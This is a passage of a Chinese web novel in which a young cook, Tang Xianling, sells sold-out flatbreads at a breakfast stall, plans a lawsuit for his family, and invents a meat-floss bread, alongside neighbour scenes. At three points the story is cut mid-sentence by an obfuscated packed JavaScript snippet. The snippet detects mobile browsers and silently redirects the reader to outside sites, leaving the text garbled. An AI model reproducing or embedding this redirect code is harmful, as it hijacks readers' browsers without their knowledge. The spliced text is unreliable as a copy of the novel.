昨个卖的快，怎么今个还这么多人，这才哪个时候？ “五哥儿，豆沙的还有多久？” “我要两张梅菜干肉的，要等是吧？那行，汤嫂子你先收钱。” “他家真这么好吃？我昨个没买到。”后来的，看汤家铺子前人多候着，不由好奇询问排队等的人。 前头刚交完钱的食客说：“好吃啊，口味特别，你试了就知道。” “我早早过来，瞧见崔大爷已经拎着篮子往回走了，那走得快的哟，我拦着问两声，崔大爷急急忙忙说‘别挡路一会锅盔凉了不脆了’，连走带跑拿着篮子，看方向往家里去了。” 买锅盔的食客都笑了起来，到也不是笑话崔大宝，有些人笑还带这些羡慕来，谁能有崔大宝这般好福气，今年二十八了，在吃食面前还跟稚童一般。 原先只是凑热闹好奇问一嘴的，此时一听崔大爷老早蹲铺子，当即嗓门抬高，说：“我也来个梅干菜肉的，五文是吧？” “是，不过得多等等，现在两锅都卖出去了，您要的话要到第三锅了。”蒋芸声说。 卢三娘揣着钱来，人小被隔在外头，一听第三炉，忙喊：“汤婶婶，我也要，我要三个梅干菜三个豆沙的。” 周香萍：……竟然也紧张起来了。 她都没想过为了买个饼，怎么跟抢不要钱的米似得，这锅盔可五文钱呢，卢家馒头店两口子一向省的紧，今个能差三娘花这么大笔买饼吃。 可见真好吃。 周香萍不敢耽搁，站在卢三娘身后，“汤嫂，我也要。” “娘，这批好了，我来装。” 蒋芸松了口气，赶紧跟卢三娘和周香萍说：“到你们了，下一批就是你们的。”这才敢收钱。 前头拿锅盔的食客，没忍住先咬一口，嘴上虽是没说什么‘好吃’这等话，但是一口连着一口，因为有些烫，宁愿哈着气，也得再啃一口，脸上神色都是满意十足往出走，更有甚者：“再要一个豆沙的！” 这是刚买的少了，只买一张梅干菜肉的。 蒋芸说：“那您等等，这儿才现烤。” 手里捧着梅干菜饼啃得食客笑呵呵：“我等就是，不急。” 前头食客走完了，后头周香萍卢三娘到了前头。 周香萍看着五哥儿忙活，是手下不慢不乱，稳稳当当的，一揉一个饼拍开，撒芝麻，进烤炉，到底是什么滋味？周香萍好奇起来，到她给钱，是两种口味都要了，一共九文钱。 钱可不少嘞。 这饼周香萍光是看，也能看出来成本估摸不高，但买的人络绎不绝，没一会她和三娘身后又来客人了，不由想：汤嫂子真是个好福气的，汤老板倒了干不了营生，五哥儿给接上了。 这孩子要是搁谁家，那两口子都稀罕的紧，也就汤老板当个草，哥儿又如何，都是自家孩子的。 后头人越来越多，都要给钱。 蒋芸数数好像饼不够了，却不知道怎么推辞后头食客，怕食客闹起来，她不会应对，以前馎饦那是卖一整日。汤显灵把饼放进炉子里，到了铺子门口跟最后头食客说：“对不住了，后头的客人别再等了，今个量卖完了。” 后头才来的食客：！！！ “怎么会这么早卖完？”、“五哥儿你的锅盔你多备一些啊。”、“对啊对啊，挣钱呢，怎么就这么点量。” 汤显灵脸上带着抱歉笑意，解释说：“各位食客来捧场我自然是高兴，就是我头一次做买卖缺了经验，之前做的梅干菜，那菜费时间费工夫，起码得准备个六七日，现在家里存货怕是只够卖个两三日了。” 食客：…… ！！！ 五哥儿说的诚恳，解释全了，食客都是坊间住户也不好闹——没这般闹的，因为吃不到饼要闹，那成什么流氓地头蛇不成了？ 因此只能作罢，又说：“那我明日来早点。” 还有体谅的：“没事，你也是年轻，以后多做些。” “对啊。” 汤显灵笑呵呵：“谢谢各位了，真对不住。” 还有人问：“那岂不是卖完两三日锅盔没得卖了？” 本来要走的食客：？一下子转身回来，看向小汤老板，是目光灼灼，每张脸都写着‘这才卖了几日就不干了’的震惊。 汤显灵：…… 新一批梅干菜还没好，他一天早上卖朝食，还要抽时间备新的一批梅干菜——三蒸三晒，今个傍晚该蒸了，算时间确实得关几天铺子。 可现在食客这么看他，像是说他做买卖跟过家家似得。 “等之后梅干菜不全，我做点别的卖，总之都是朝食。”汤显灵略略思考，决定换个花样接梅干菜的空档期，至于卖什么还没想好。 行吧，干吧。 真让他应了之前说的段子——食客催他天天开店。 大家得了这番话，也没太高兴，因为想吃的是梅干菜锅盔，谁知道汤五哥儿做别的好不好吃。不过现在说这个也没用，卖完了今个是没有了，有人暗暗想，这锅盔还紧缺的嘞，看来明日得赶早了。 汤显灵丝毫不知道，因为自己的缺经验，备货少，搞得他家像是饥饿营销一般，铺子前每日等候的食客越发早和多了，这是后话了。 周香萍和卢三娘将一切看在眼底，等到了她们拿锅盔，二人是捧在手里，都有种‘谢天谢地买到了’的庆幸。 卢三娘人小，性子活泼，拎着食篮往家里跑，一边说：“爹、阿娘，我今个可幸运了，又让我买到了。” 声音都透着活泼高兴来。 卢大郎在后头扛麦子袋，先将麦子倒进石磨中，拍了拍手，才说：“买了几个？” “六个，我给二哥留下。”卢三娘说。 卢大郎点头，一边说：“咱俩得给爹娘分一分。” “自然了，我又不是小馋嘴。”卢三娘笑盈盈说，然后就被她大哥逮住了，脑袋挨了几下，也不甚疼，不过卢三娘笑着叫救命。 卢大郎：“你这小女郎，当着大哥面说大哥，爹娘来了我也不怕。” 然后陈巧莲进来了，说：“前头铺子都听到你们兄妹俩叫嚷，又怎么了？我给你们断断官司。” 卢大郎哪敢啊，卢三娘笑嘻嘻，才不跟大哥计较，跟阿娘说分饼吃，还带把大哥捎带上，说是大哥主意。 她和大哥都孝顺爹娘！ 陈巧莲笑眯眯，刚也就是吓唬二人，家里孩子和睦，她更高兴。本来说‘阿娘不吃的’，结果三娘已经掰开了，递着饼到了她嘴边。 “阿娘你吃一口，真的可好吃了，我胳膊都举困了。” 陈巧莲才咬了一口，不住点头，“确实好吃，难怪生意这般好，我刚听又卖完了。” “是呀卖的可快了。”卢三娘道。 周香萍拿着两张饼疾步到了自家猪肉摊前。 朱四看见媳妇身影，再看媳妇手里拿的饼，那饼又薄又大，想必就是锅盔了，不由调侃打趣：“呀，娘子今个来得早，不是看我的，是为了买饼去的。” “去去去，拿着吃。”周香萍笑着把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357199|167339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饼递过去，说：“你可不知道，我要是再去晚一些些，抢不到了。” 朱四：“我早上送肉时，看到崔大爷蹲在汤家铺子门前，我就知道这饼滋味定不错。” “你又改了口风？昨个儿还不是这般说。”周香萍挑眉，学男人语气：“卖那么快，定是五哥儿胆子小怕卖不完，备货备的少。” 朱四被媳妇儿打趣也不恼，一半饼递给媳妇，自己先啃了手里这半张，单单只是一口，便感叹说：“汤老哥真是祖坟烧高香了。” “夸五哥儿就好好夸，夸汤老板干甚。”周香萍吃着饼，确实是香，又咬了口豆沙馅的，吃的是眼睛弯了弯，说：“这个剩半张，我一会拿回去给阿娘和孩子尝尝。” “那半张梅干菜的也留下，你一道送回去。”朱四不吃了。 锅盔是好吃，尝过了味，想到家中老娘还有闺女，便停了手。 而早半个时辰前，崔家院子。 崔大宝一路疾奔，怕锅盔冷了，到家时他人跑的喘气，饼却还是热乎的，孙豆子熬好了粟米稀饭，谁让早上丈夫起得早，他也不好再睡了，干脆起来擦洗收拾，把稀饭熬上。 大宝说昨日吃锅盔干些，那粥就不能煮稠了，得稀一些。 孙豆子还切了点自己腌的咸菜。 “快快快，一会冷了不好，爹呢？”崔大宝是吃饭最积极的性子。 崔父显然也知道，从屋里到了堂屋，“早候着了。” 一家人坐在堂屋八仙桌前吃朝食，崔大宝洗了手揭开食篮上的纱布，先取了一只递给爹，“肉的，爹你尝尝。” 又给豆子拿了半块梅干菜肉的。 崔大宝说：“我知道你吃不惯肉，你先尝尝，他家梅干菜肉一点腥味也没有，你要是吃不了给我就是了。” 孙豆子以前日子过的苦，一年到头只有过节过年饭里能沾沾荤腥，腹中常年缺油水，嫁到了崔家，别的不提，崔大宝在吃上是不吝啬的，崔家三天两头吃肉。 按理说，缺油水馋肉的孙豆子该喜欢上了，崔大宝也有心喂胖夫郎，结果孙豆子一吃肉，就闹肚子，刚成亲那会反应最过了，病了能有大半个月，上吐下泻，搞得更瘦了。 崔大宝请了郎中来给夫郎看病，郎中说：经年肠胃不调，不可大荤，得慢慢养着。 孙豆子也被那场病闹怕了，自此后，凡是吃点太荤的就犯恶心。 “那我尝一口。”孙豆子见大宝为了锅盔起早贪黑——夜里都念叨，不想扫大宝的兴，想着吃一口就停手，因此掰了一小块，压着害怕送进口中，想象中的犯恶心没有来，倒是先被饼的滋味吸引住了。 他说不来，但是好吃，也不让他反胃。 “这里头真有肉？” 崔大宝看豆子吃，也提着心，见豆子没犯恶心也没皱眉头就知道没事，不由得意高兴说：“我说了吧，没甚肉腥味，这饼里头还有酱菜梅干菜，混着肉也不多，七分瘦三分肥，不算太油腻，你吃着肯定行。” “豆子能吃就好，养身体哪能不吃荤腥。”崔父在旁说，也高兴，大宝豆子也不小了，要是要娃儿，那得好好把身子养壮些。 吃肉还是壮人，吃肉好。 崔大宝把整张都给豆子，自己啃一张，又喝口稀饭，顿时赛神仙似得说：“这才好，比昨个儿羊汤好，好吃好吃。” 他家豆子做肉不行，稀汤清粥没甚油水的咸菜还是可以——偶尔吃一顿，还挺香。 “你再尝尝豆沙的。” 孙豆子只吃了半块肉锅盔，他怕吃着不犯恶心，到了下午要闹肚子，于是转手拿豆沙锅盔，只是一口也爱的紧，看向大宝眼神都不自知的亮了。 “这个也好吃！” 崔大宝啃着锅盔望着夫郎愣了愣，他第一次看豆子，豆子眼睛就亮晶晶的，又大又亮，他只看到了豆子眼睛，旁的没注意，就喜欢的紧。 三年了，豆子很少像这般。 “是好吃，你爱吃，我也爱吃，明个我继续去买！” 汤五哥朝食又早早关门了，今个还比昨个多卖了半个多小时。 汤显灵照旧每日盘账，今个卖出了一百七十一张饼，“……总收益七百八十四文钱，昨个是五百四十二文，这就是一千——” “一两三百二十六文钱，昨个买米一百三十二，买菜是两文钱，扣去成本开销，再留一半，可支配的就有——” 汤显灵在纸上列数学题，加减乘除都用上了，最后简单粗暴除了一半成本外，再除一半，当做积蓄备用金，就是五百九十六除二，等于二百九十八。 剩下的二百九十八文是他和蒋芸日常花销。 汤显灵看向蒋芸：“阿娘，你拿一百文，剩下的我来买菜顾家里你我花销。” 这一百文，是蒋芸能自由支配的零花钱。 当然他有一百九十八文，但他包买菜买肉吃饭。 蒋芸都懵了。 这般多？都给她？ 14.第十四章 第十四章 蒋芸不要钱，说什么都不要。 汤显灵说的果决了，意思你收着零花钱，争执起来，蒋芸便双目泛红，眼里含泪，“……我是你阿娘，一家人何必这么见外，你和我生疏了，五哥儿你管着钱吧。” 他觉得蒋芸这会真的有点伤心了，那种又怕又伤心。汤显灵略明白一些蒋芸意思，想了下说：“那阿娘把钱攒着，你先别急，攒着钱，有一日我要请讼师。” 蒋芸含泪怔住了，重复了遍：“讼师？” “咱家铺子重新开张，我卖朝食能赚到钱，胡家上次来闹事要钱，有一就有二，就算没有二，等我存够钱站稳脚跟，机会到了总得还五哥儿一个公道。” 汤显灵神色极为认真，“胡家坑骗五哥儿的事，可不能就这么算了。” 他说过，请吹拉弹唱班子吹吹打打把胡家名声搞臭。 不是说着玩的。 这件事他没给蒋芸留下逃避的机会，目光清明又很坚定看向对方，说：“这事定要做，打官司告衙门，还五哥儿一个公道，你不要怕，我来做。” 蒋芸被看的定在原地，也不知道哪里来的勇气，应上了好。 五哥儿收拾铺子去了，她立在原地，许久后一摸脸，才发现满脸的泪止不住的滚滚落下。 五哥儿、五哥儿…… 都怪她怯懦胆小护不住。 汤显灵将盆碗簸箕拿到灶屋，没一会，蒋芸擦干了眼泪进来说：“我来洗，你昨个儿不是说要买豆腐吗？念叨了一早上了，快去吧。” “那行，阿娘交给你了，咱们晌午吃豆腐丸子，我看看还有什么时兴菜一并买了回来。”汤显灵擦了擦手，灶屋收尾活交给了蒋芸，他拿了钱拎着菜篮子出门了。 正街宽阔，可供马车四驾，中间就有摆摊卖菜卖鱼卖豆腐的——不固定，小贩有什么卖什么，汤显灵直奔豆腐摊子，要了两文钱豆腐，一边走一边逛，一看竟然有丝瓜，卖菜的是位婶子，一直说她的丝瓜嫩，长得好，却没几个人买。 汤显灵想着丝瓜豆腐丸子汤，就问多少钱。 婶子：“三文钱两条，你别嫌贵，看看我家丝瓜，早早种下，长活的不多，现在吃可嫩了。” “要了。”汤显灵掏钱递过去。 婶子松了口气喜笑颜开给小哥儿装篮子。 “之后估摸丝瓜就多了？”汤显灵跟着聊天。他其实不知道丝瓜什么时候下来。 婶子笑说：“还得一个月才正经下来，这条街就我家有丝瓜卖。” 看来丝瓜是夏天的产物。汤显灵想。他拎了菜篮子道谢。 一路逛下来，又买了黄瓜，黄瓜是春季产物，奉元城外应该是农人多种植，没甚稀罕的，一文钱能买三根。 到了街尾肉铺，快晌午没什么人来买肉，铺子前头安安静静。 周香萍见了汤显灵便热情招呼，“五哥儿来买肉啊？”又夸赞：“你做的锅盔真好，我早上拿回家一趟，我家大娘可稀罕了，她爱吃红豆馅的。” 汤显灵本来还犹豫吃什么肉，现在决定今天菜单肉吃猪肉，因为都叫他了，便上前笑着搭话。 “孩子爱吃就成。”汤显灵搭了句，看起肉，发现摊上瘦肉多，“瘦肉多少钱？” 周香萍说：“你说这块猪里脊，四文钱。” 五花肉六文，要是纯熬猪油的油板更贵些要七文，越是肥肉多越好，时下瘦肉便宜，更别提这块里脊半点肥的都不沾。 汤显灵满脑子都是：糖醋里脊！锅包肉！ “成，谢谢老板娘。” 周香萍听这个称呼一下子笑了起来，便也称五哥儿：“小汤老板还要些啥？” 汤显灵听出打趣，露出腼腆笑容来。 他是不知道叫对方什么称呼，看上去比他大个四五岁，早上对方买锅盔叫蒋芸嫂子，那就是跟蒋芸同一辈，但对方又年轻，总不能叫婶子阿姨吧？ “我买好了，谢谢老板娘。”汤显灵给了钱。 周香萍麻利收钱给包好肉，递过去。 “五哥儿现在做买卖，练得胆子大，人也会打交道了。”周香萍望着走远了的五哥儿背影跟男人说。 朱四嗯嗯了声，盯着自家摊子上剩的猪里脊发愁。 天热起来肉不好卖，瘦肉更不好卖，他们去定货，可不能说光拿好卖的，那都是半扇或是一整只的定，哪能轮到小老板挑挑拣拣光拿好卖的。 看来瘦肉得拿回家自个炒片吃了。 朱四嘟囔：“瘦的塞牙，连点油水也没有。” …… 晌午还早，汤显灵想先收拾豆腐丸子，早一些炸了，这样好放些。其实说天热，屋子里还是很凉快的，毕竟还没到夏日。 “我把菜备着，暮食吃丝瓜豆腐丸子汤、蒜泥拍黄瓜，再炒一个酸甜口的糖醋里脊或是锅包肉——两拼吧。”汤显灵定下了今日菜单。 他将买菜日用的钱放在一个瓦罐里，备用金单独放在一起。这样每日除开吃饭开支剩下的钱都能攒起来，之后请讼师也能从这里面出。 蒋芸在院子里说：“趁你爹睡着我去把衣服洗了。” “知道了阿娘。”汤显灵应。 开始备菜，豆腐冲洗干净放大碗里，早上剩了半斤的五花肉剁成肉糜混着豆腐抓匀，泡好的葱姜水一点点少量加入，开始添点点面粉，抓的有黏性。 猪里脊切成条，这个是做糖醋里脊。 宽点的地方切成筷子厚的片，刀背拍松散些，是做锅包肉的。 家里没有淀粉，只有半篮子土豆，汤显灵是个吃货，想了下，反正是下午饭，干脆磨了几颗土豆现成做土豆淀粉。 等沉淀功夫，早上做锅盔剩下的边角料，做了几个馅饼，他和蒋芸的凑合一口的午饭，饼都煎好了，蒋芸还没回来，汤显灵擦了擦手往出走，刚出灶屋，抬眼一看，立刻道不好。 铺子前头也响起蒋芸急急忙忙声：“五哥儿，天是不是阴沉了？我洗衣裳，发现变天了赶紧往回跑。” 两人打了个照面。 汤显灵：“先收了梅干菜往前头铺子放。” 本来今日傍晚时蒸菜的，现在变了天。汤显灵抓了把院子里桌上晾晒的菜，昨个到现在天气好，晒得还算干，不过要是明个下雨—— 那真是坏了。 “先抬到前面铺子放着吧。”汤显灵说。 四张桌子，二人一起抬到了前面铺子。 蒋芸忙了一通，是半点不嫌累，光操心这四桌子菜了，眉头紧皱，不自觉唉声叹气：“你才做买卖，好了没两日，怎么就这么不顺当。” 一脸的愁苦。 蒋芸都快五十了，过去几十年生活将蒋芸磨的没主见、怯懦、自怨自艾、遇事唉声叹气，不是一朝一夕能改的。 好歹蒋芸是替他打抱不平操心。 汤显灵也有点发愁，但这不是天大的事，即便是天大的事人还没死那就没事，于是说：“没事，梅干菜断货了，卖不了梅干菜锅盔，我再想想卖别的。” 今早都跟食客说了卖别的。 他之前想：煎饼果子、鸡蛋灌饼等等。哪样都行，好操作，材料也简单，但是要是卖这两样，那得再置办炉子，还有铁板平底锅——铁锅可贵了。 现在汤显灵换了主意，还是压低成本，能不置办新家当就不办，节省开支——用现成的俩烤炉做点什么烤货卖。 蒋芸还是愁眉不展。 “娘，吃饼吧，饼我煎好了。”汤显灵轻松道：“吃饱了，我在想卖什么，再说还有两三日梅干菜量，不急。” 蒋芸被五哥儿感染到，略略松开了眉头，然后想到什么，“诶呀我衣服还在井口边上，看到变天急忙跑回来，我去拿衣服。” “你慢些。” 晌午二人吃了煎饼，死面的巴掌大圆饼，里面剩的梅干菜肉馅，还有豆沙馅，都混了些土豆泥，做出来的有点像炸菜盒，啃起来更油脆，里面加了土豆泥后，厚一些，吃起来口感糯糯的。 意外的好吃。 不然炸盒子？不行，费油也得拆烤炉。 烤、烤、烤—— 汤显灵目光落在了案板上备好的猪里脊上，灵光一闪而逝，没抓住，但他知道好像知道做什么了——绕口令一些，虽然没想起来，但跟猪里脊有关。 于是先不想，心态倒是轻松了，大口啃着饼，跟时不时发愁的蒋芸说：“我知道做什么了。” “什么？”蒋芸望过去。 汤显灵吹着气，含糊说：“得买猪里脊，这个偏瘦还便宜，还要进烤炉，那就是面粉馒头——” “！！！” “肉松面包！” 汤显灵脱口而出，眼睛都亮了。他就说他刚才真想到了！虽然只是灵感乍现，摸到了尾巴，但摸到了尾巴就是摸到了。 蒋芸茫然，“这是什么吃食？没听过。” “没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15360623|167339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听过才赚钱。”汤显灵脑子开始活络起来，肉松好做还易保存，咸口面包，烤炉现成的，他在做点沙拉酱——没电动打蛋器他得费手，先试试，就是烤面包的面粉，现在可没有高筋面粉，都是统一吃的面粉。 不要紧，他有挂！ 心情好了，汤显灵干活都哼着歌，先将沉淀的土豆淀粉水倒了，只留下盆底一层干巴的淀粉，用来抓肉片，上浆，而后开始调料汁，之后先炸里脊肉，再炸丸子。 这些炸货都要炸两道，第一遍炸个七分熟，第二遍油温要高，复炸才会酥脆。 汤显灵炸了一盆子豆腐丸子，掰开了一颗，丸子大，是外酥里嫩，豆腐的嫩还有肉香，盐味他调的淡，空口吃也好吃。 炸货能放放，可以收拾油锅，油倒进盆里，之后炒菜都吃这个油，不能浪费了。 还未到傍晚，外头天比昨天阴沉了些。 “娘今个提早吃。”汤显灵说。 蒋芸在外头收早上洗的衣裳，挪到屋檐下绳上，应了声。 复杂的做完了，剩下的就简单，蒸上米，扒蒜捣泥拍黄瓜，丝瓜切滚刀块，水烧的滚开先下炸的豆腐丸子，因为油脂让汤白了些，放入丝瓜。 丝瓜嫩嫩的不用多煮。 汤里一点胡椒粉、一点盐就行了。 糖醋里脊和锅包肉更好做，糖醋汁都调好了，现在重新下个锅裹上汁儿就好—— “吃饭！” 外头已经下起雨来，淅淅沥沥的并不大。 蒋芸说：“你爹还没醒，我留一些菜出来。” “锅包肉和糖醋里脊凉了不好吃，这俩就别留了，汤留一些还有黄瓜留着吧。”汤显灵平平道。 蒋芸犹豫了下。 “我爹那身子，整日躺在床上，吃太多肉不消化的对身体不好。”汤显灵胡扯。 蒋芸却信了，因此都听五哥儿的。 铺子大两间，即便一半搁着晒菜的桌子，烤炉那半还很敞亮，二人端菜出去，酸甜口的锅包肉和糖醋里脊真的很让人下饭，酸酸甜甜的开胃，肉片咬起来酥脆不油腻。 蒋芸吃一口都呆住了，言语贫瘠，形容不出来多好吃，只能干巴巴说：“五哥儿，你手艺真好。” “自然了。”汤显灵喝了一口丝瓜豆腐丸子汤，真是到胃的舒坦，“现在做做朝食买卖，以后有本钱了，能请人手，开个饭馆酒楼什么的。” 日子简单充实，能享受美食，汤显灵很知足的。 吃完饭，菜吃的干干净净，外头不下雨了，只是天阴沉风有些冷，汤显灵想去外头买猪里脊，不知道现在买能不能再便宜些，蒋芸说她收拾。 “那我出去一趟娘，一会就回来。”汤显灵拿了篮子和钱出家门。 汤显灵一走，蒋芸见盘底剩下的糖醋汁觉得可惜，想着丈夫吃肉不消化，拿着汁儿拌点饭应当是成的吧？ 因此给老汤头那一份饭，又用剩下的酱汁拌了拌米。 汤显灵不知蒋芸的操作，雨刚停，街面还是湿的，奉元城的路都是石板拼起来的，走起来不泥泞，正街没几个行人，路中间摆摊的早早回家了，他一路跑到肉铺。 朱四和周香萍夫妻俩正打算收摊子，都这个时候了，又下了雨，今日指定没人来买肉了。 “小汤？”周香萍诧异，“怎么了？可是早上买的肉不好？不会啊，那肉都是新鲜，今个现杀的猪。” 汤显灵忙道：“不是，肉我家都做好了，我来再买点里脊——”他目光往肉摊上一落，早上见有多少，现在还是那么多，半点没卖出去。 闻言，朱四都愣住了，“你要里脊？”倒是好心，说：“这肉太瘦了，你切片炒了吃都塞牙。” “我另有用处。”汤显灵想还价，笑眯眯说：“朱老板，这些我全要了，能不能给个优惠价？再便宜些。” 周香萍瞪直了眼，“全要啊？” “是啊。” 夫妻俩一对视，俩人不想做昧良心的买卖，都是坊里邻居，可五哥儿说的斩钉截铁，买了这些猪里脊，可是解了他们的难——今日卖不出去，刚想着拿回家自己吃。 可能挣钱，干嘛要自己吃塞牙的肉。 “你可想好了？”周香萍又想卖出去又心软不想坑五哥儿。 朱四就果断，“你要拿走，给你算三文钱一斤，我给你称。” “成！”汤显灵笑的一口白牙，“谢谢了。” 成本又省了！ 15.第十五章 第十五章 汤显灵跑着回去的，走到一半又下起来了。他淋了些雨，街上没人了，到家拴上铺子门。 蒋芸听见动静从后院过来，“五哥儿你都淋湿了，赶紧擦干，别惹了风寒。”然后才看见五哥儿手里篮子装了满满当当的肉，“怎么买这么多肉啊。” “我要做肉松，阿娘你忘了？这还少，明个再买些。”汤显灵知道蒋芸要说什么，提前回话：“肉松能放，也不用管是不是天热、下雨。” 两人一起往后院去。 汤显灵说：“其实也幸好提前下了雨，要是我梅干菜都蒸上了，在下雨，那就完蛋了。” 现在菜还是干的，又没经雨水，不怕放，等明日或者后日出了太阳再晒一日，晒得干干的再蒸。 天色很快暗了下来。 汤显灵先回屋拿了干布巾擦了擦头发身上雨水，换了身干净的布衣，往灶屋去，他打算今晚把肉松做好，先实验实验，做肉松前给自己熬一碗姜茶。 灶屋有一口大灶，一个小炉子，平时晌午随便对付一口就用小炉子热粥热饭烤馒头，省些炭火。此时点了只蜡烛，炉子上小锅添冷水，汤显灵切了姜片，丢了些干红枣，由着小炉子慢慢煮。 然后才开始收拾猪里脊。 肉松很好做的，猪里脊要去掉筋膜，而后切成不薄不厚的片，冷水下锅放入葱姜开始煮，不要盖锅盖，以防肉腥味散不出去，这一步多煮一会，而后先撇掉浮沫，捞出来放凉，用擀面杖将肉拍散撕成丝，再开始炒。 不用倒油，直接干炒掉水分。 炒是分两次炒，第一次不能炒的太干，盐和糖是一比一放，再放点酱油调色，炒的时候讲究火候，还要不停翻炒，以防止粘锅底焦黑。 汤显灵手下干活有条不紊，也没注意到蒋芸进来了一次，见他忙活，默默地端着给汤父热的汤饭去了东屋，等煮肉的功夫，小炉子上的姜茶也煮好了。 他给自己灌了一大碗，给蒋芸也留了一碗。 到蒋芸来灶屋时，汤显灵就说：“阿娘给你也留了一碗，趁热喝了，别风寒了。” “嗳。”蒋芸应了声，端着碗吹着热气喝姜茶，五哥儿就是煮个姜茶滋味也很好，生姜辣热，混着红枣的枣香甜味，这些干红枣都不知道放了多久，好似去年秋日买的，她之前干嚼也没现在这般的甜。 蒋芸估摸，怕是五哥儿给姜茶里放了糖。 五哥儿还跟小孩似得，怕生姜辣。 想到这儿，蒋芸眼底柔和了些，在一旁收拾洗碗盆。汤显灵开始炒肉松，外头越来越黑，雨又大，霹雳巴拉的，蒋芸洗完了碗收拾好，汤显灵便喊蒋芸先去睡。 “我这儿快忙完了。” 蒋芸才说好。 夜深雨大，蜡烛被吹的晃晃悠悠，汤显灵一人待在灶屋也不害怕，满心满眼都是黄亮亮有些蓬松的肉丝，其实要想肉松蓬松，最好是第一遍炒完后用搅拌器粗打一下，会起绒蓬松状态更好。 这会没搅拌器，汤显灵就用手搓和用筷子打发，多打打，第二次彻底炒干水分，撒一些白芝麻提香，黑暗中只有一点光亮，满灶屋的肉松香气很是迷人。 汤显灵闻到香气就知道成了，手下捏了些送进口中，肉松蓬松咸咸的，细绒入口即化，肉丝有点点嚼头，味道太棒了。 比他末世之前在大学门口买的肉松面包那家肉松还要好吃！！！ “成了！”汤显灵叉腰得意了会，双眼弯了弯，将肉松装罐，很是膨胀的食指轻轻点着罐身说：“等我买齐装备，最迟明个晚上我就能吃到肉松大面包了！” 做面包要用牛乳、酵母粉、鸡蛋、黄油，酵母粉可以用酵头发酵，隔壁叫卖馒头肯定有酵头，他明日问问人家卖不卖。牛乳、黄油都可以去东市问问，那边胡人多，他之前还见过有卖奶酪的。 只是奉元城百姓吃不惯奶酪，并不热卖。 收拾一通，窗台上蜡烛都快燃烧殆尽，汤显灵终于能洗漱上床睡觉了，可谓是倒头就睡，临睡前还想他的肉松大面包，他还得打点沙拉酱，咸口肉松面包…… 想到这儿，汤显灵睡着脸上都是笑。 另一边三巷子崔家。 崔大宝今个买完锅盔到家，一整日都没外出，本来下午要出门溜达圈，都穿好衣服迈出脚，结果没一会又回去了。孙豆子还奇怪，问怎么了？ “没事。”崔大宝没说啥，就往院子里去，过了会问：“豆子，你早上吃了锅盔，肚子响了没？” 孙豆子才知道大宝担忧他闹肚子，毕竟朝食用了荤腥。 “没有。”孙豆子心里有点点说不上来的高兴，但又觉得老提闹肚子这话有些不好听，有点害臊。 崔大宝一看豆子神色，也有点点高兴，豆子是害臊了。 于是不说了，他在家再看看，要是豆子又闹肚子那得找郎中。 “家里郎中开的药还有吧？”崔大宝问。 孙豆子害臊点头，“有。”他本来是想去洗衣裳，但是大宝在家，便变改了主意，在家纳鞋底，也幸好是纳鞋底没洗衣裳，到了傍晚竟然下起了雨。 崔大宝睡了一觉醒来，见夫郎洗手去灶屋做暮食，抬头一看天上飘着雨，想了下说：“爹早上走没带伞，豆子我去给爹送伞。” “诶。”孙豆子在灶屋应声出来，大宝一走，他拴上院门。 崔父在窑厂干活，离家里有些远，平时都是坐骡车去，以前年轻时能走，现在走久了腿疼，大宝说：爹我少吃两口外食，你还是坐骡车吧。 多孝顺啊！崔父感动的紧，说：爹缺谁的都不能缺你一口吃的，你又懂事，家里吃不垮。 大宝爱吃，但心里也有数，一个月下大酒楼也就一两次，多是正街、东西市小馆子吃吃，家里还是能供的。 崔大宝拿着伞往正街去，正好见到爹下了骡车，他跑了几步，将伞撑在爹头上，冒着大雨父子俩扯着嗓子说话。 “你咋来了？这般大雨，你别淋坏了。”崔父担心。 崔大宝：“爹，我年轻身子骨壮实，你别淋着。” “那快走快回。”崔父嘴上说不让大宝来接，心里其实是高兴的，儿子娶了夫郎也没忘了孝顺他这个爹。 父子俩到家中，孙豆子开门，说：“爹，灶里有热水，你们赶紧擦洗擦洗，我看天下雨，烧了一壶姜茶。” 以前他在村时，淋了雨没人管，更别提喝姜茶了，还是嫁到崔家才慢慢知道，沾了雨水赶紧要烧热水擦洗要喝姜茶，生病了也不用先扛，胡乱嚼药草，可以直接去药堂抓药看看病。 “好，豆子你一会也喝些。”崔父说。 儿夫郎哪哪都好，跟大宝一样孝顺他，就是身子太弱了。 等父子收拾好，擦洗干净，堂屋点着蜡烛，孙豆子端了饭菜上桌，照旧是有肉，孙豆子炒了个茄子炒肉，炒的黑乎乎的，堂屋光线暗，崔父乍一看都没看出这一盘是什么。 “茄子炒肉啊。”崔父也没说好坏，能吃就成。再看大宝，筷子光吃酱菜、拍黄瓜， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15369050|167339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豆子也是，不吃肉。 